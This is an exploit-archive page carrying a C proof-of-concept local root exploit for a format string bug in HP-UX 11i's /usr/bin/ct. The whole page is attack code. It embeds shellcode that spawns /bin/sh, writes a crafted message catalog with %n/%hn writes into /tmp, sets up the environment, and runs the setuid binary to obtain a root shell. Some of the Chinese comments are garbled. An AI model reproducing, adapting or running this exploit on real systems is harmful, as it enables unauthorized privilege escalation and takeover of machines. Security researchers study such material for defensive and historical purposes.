exploits , vulnerabilities , articles , HP-UX B11.11 /usr/bin/ct local format string Root Exploit

/*******************************************************************************
* File : x_hp-ux11i_nls_ct.c
* Usage : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
* Purpose : Get a local rootshell from /usr/bin/ct,using HP-UX location
language format string bug.
* Author : watercloud xfocus org 
* Tested : On HP-UX B11.11 .
******************************************************************************/


#include<stdio.h>

#define PATH
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
#define TERM "TERM=xterm"
#define NLSPATH "NLSPATH=/tmp/.ex.cat"

#define CMD "/usr/bin/ct abc_ "
#define MSG "\$set 1\n1128 "
#define PRT_ARG_NUM 2 
#define STACK_LEN 0x180 

#define ENV_BEGIN 0x40 
#define ENV_LEN 0x40 
#define LOW_STACK 0x210 

char buffer[512];
char buff[72]=

"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"

"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"

"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
 "/bin/shA";
int * pint = (int *) &buff[56];
unsigned int haddr = 0; 
unsigned int dstaddr = 0; 

int main(argc,argv,env)
int argc;char ** argv;char **env;
{
 unsigned int * pa = (unsigned int*)env;
 FILE * fp = NULL;
 int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36
-PRT_ARG_NUM*4)/4; 

 int alig1= ENV_BEGIN - xnum*8;
 int alig2=0;
 int i=0;

 while(*pa != NULL) 
 *pa++=0;
 
 if(strlen(CMD) >ENV_BEGIN-3)
 {
 printf("No enough space to alig our env!\n");
 exit(1);
 }

	printf("Exploite for HP-UX 11i NLS format bug by command
ct.\n");
	printf("From watercloud@xfocus.org. 2003-1-4\n");
	printf(" Site : http://www.xfocus.net (CN).\n");
	printf(" Site : http://www.xfocus.org (EN).\n");


 haddr = (unsigned int)&fp & 0xffff0000;
 if(alig1 < 0)
 alig1+=0x10000;
 alig2 = (haddr >> 16) - alig1 -xnum*8 ;
 if(alig2 < 0)
 alig2+=0x10000;

 dstaddr= haddr+ LOW_STACK + STACK_LEN -24; 
 *pint++=dstaddr;
 *pint++=dstaddr;
 *pint++=dstaddr;
 *pint = 0;
 
 /* begin to make our .cat file */
 fp = fopen("/tmp/.ex.k","w");
 if(fp == NULL)
 {
 printf("open file : /tmp/.ex.k for write error.\n");
 exit(1);
 }
 fprintf(fp,"%s",MSG);
 for(;i<xnum;i++)
 fprintf(fp,"%%.8x");
 fprintf(fp,"%%.%ix%%n",alig1);
 fprintf(fp,"%%.%ix%%hn",alig2);
 fclose(fp);
 fp = NULL;
 system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
 unlink("/tmp/.ex.k");



sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_
 LEN-strlen(buff),"B");
 putenv(buffer);
 putenv(PATH);
 putenv(TERM);
 putenv(NLSPATH);
 

printf("¼ÇµÃɾ³ýÕâ¸öÁÙʱÎļþ(Remember
to delete the file): /tmp/.ex.cat .\n");

execl("/usr/bin/ct","/usr/bin/ct","abc_",0);
/* ºÃÏ·¿ªÊ¼ÁË
£º£© */
} 


securitydot.net - 2003-12-16